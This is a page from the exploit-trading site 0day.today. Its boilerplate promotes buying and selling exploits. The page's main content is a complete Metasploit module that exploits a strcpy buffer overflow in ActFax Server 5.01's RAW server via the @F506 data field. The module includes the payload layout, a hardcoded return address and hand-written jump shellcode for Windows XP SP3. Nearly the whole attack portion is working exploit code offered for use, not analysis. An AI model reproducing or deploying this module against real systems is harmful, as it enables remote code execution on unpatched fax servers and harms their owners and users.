0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ActFax 5.01 RAW Server Buffer Overflow
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'ActFax 5.01 RAW Server Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW Server can be used to transfer fax messages without any underlying protocols. To note significant fields in the fax being transferred, like the fax number or the recipient, ActFax data fields can be used. This module exploits a buffer overflow in the handling of the @F506 fields due to the insecure usage of strcpy. This module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English). }, 'License' => MSF_LICENSE, 'Author' => [ 'Craig Freyman', # @cd1zz # discovery and Metasploit module 'corelanc0d3r', # Metasploit module 'juan vazquez' # Metasploit module cleanup ], 'References' => [ [ 'OSVDB', '89944' ], [ 'BID', '57789' ], [ 'EDB', '24467' ], [ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ] ], 'Platform' => 'win', 'Payload' => { 'BadChars' => (0x00..0x1f).to_a.pack("C*") + "\x40", 'DisableNops' => true, 'Space' => 1024, 'EncoderOptions' => { 'BufferRegister' => 'ECX' } }, 'Targets' => [ [ 'ActFax 5.01 / Windows XP SP3', { 'Ret' => 0x77c35459, # push esp # ret # msvcrt.dll 'Offset' => 1024 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Feb 5 2013', 'DefaultTarget' => 0)) end def exploit connect p = payload.encoded buffer = p buffer << rand_text(target['Offset'] - p.length) buffer << [target.ret].pack("V") buffer << "\x89\xe1" # mov ecx, esp buffer << "\x81\xC1\xFC\xFB\xFF\xFF" # add ecx, -1028 buffer << "\x81\xC4\x6C\xEE\xFF\xFF" # add esp, -4500 buffer << "\xE9\xE9\xFB\xFF\xFF" # jmp $-1042 print_status("Trying target #{target.name}...") sock.put("@F506 "+buffer+"@\r\n\r\n") disconnect end end # 0day.today [2024-11-16] #